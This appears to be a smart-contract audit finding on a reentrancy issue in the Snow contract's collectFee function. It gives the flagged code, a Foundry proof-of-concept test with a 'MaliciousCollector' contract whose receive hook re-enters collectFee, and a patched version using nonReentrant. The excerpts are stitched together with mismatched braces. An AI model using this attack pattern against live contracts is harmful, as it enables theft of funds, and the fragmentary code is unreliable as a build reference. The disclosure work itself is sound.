function collectFee() external onlyCollector {
uint256 collection = i_weth.balanceOf(address(this));
i_weth.transfer(s_collector, collection);
@> (bool collected,) = payable(s_collector).call{value: address(this).balance}("");
require(collected, "Fee collection failed!!!");
}
pragma solidity 0.8.24;
import {Test, console} from "forge-std/Test.sol";
import {Snow} from "../src/Snow.sol";
import {Snowman} from "../src/Snowman.sol";
import {SnowmanAirdrop} from "../src/SnowmanAirdrop.sol";
import {DeploySnow} from "../script/DeploySnow.s.sol";
import {MockWETH} from "../src/mock/MockWETH.sol";
contract AllVulnerabilitiesPoC is Test {
Snow snow;
DeploySnow deployer;
MockWETH weth;
address collector;
uint256 FEE;
Snowman snowman;
SnowmanAirdrop airdrop;
bytes32 merkleRoot = bytes32(0x1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef);
address alice;
address bob;
address charlie;
address attacker;
function setUp() public {
deployer = new DeploySnow();
snow = deployer.run();
weth = deployer.weth();
collector = deployer.collector();
FEE = deployer.FEE();
snowman = new Snowman("ipfs://snowman");
airdrop = new SnowmanAirdrop(merkleRoot, address(snow), address(snowman));
alice = makeAddr("alice");
bob = makeAddr("bob");
charlie = makeAddr("charlie");
attacker = makeAddr("attacker");
deal(alice, 100 ether);
deal(bob, 100 ether);
deal(charlie, 100 ether);
deal(attacker, 100 ether);
weth.mint(alice, 100 * FEE);
weth.mint(bob, 100 * FEE);
weth.mint(charlie, 100 * FEE);
weth.mint(attacker, 100 * FEE);
}
function test_Snow_ReentrancyInCollectFee() public {
vm.prank(alice);
weth.approve(address(snow), FEE);
vm.prank(alice);
snow.buySnow{value: FEE}(1);
MaliciousCollector malicious = new MaliciousCollector(snow);
vm.prank(collector);
snow.changeCollector(address(malicious));
vm.prank(address(malicious));
snow.collectFee();
}}
* @notice Malicious collector contract for reentrancy demonstration
*/
contract MaliciousCollector {
Snow public snow;
uint256 public attackCount;
constructor(Snow _snow) {
snow = _snow;
}
receive() external payable {
if (attackCount < 2 && address(snow).balance > 0) {
attackCount++;
snow.collectFee();
}
}
}
function collectFee() external nonReentrant {
if (msg.sender != s_collector) revert S__PermissionDenied();
uint256 wethBalance = weth.balanceOf(address(this));
uint256 ethBalance = address(this).balance;
SafeERC20.safeTransfer(weth, s_collector, wethBalance);
(bool success,) = s_collector.call{value: ethBalance}("");
if (!success) revert TransferFailed();
}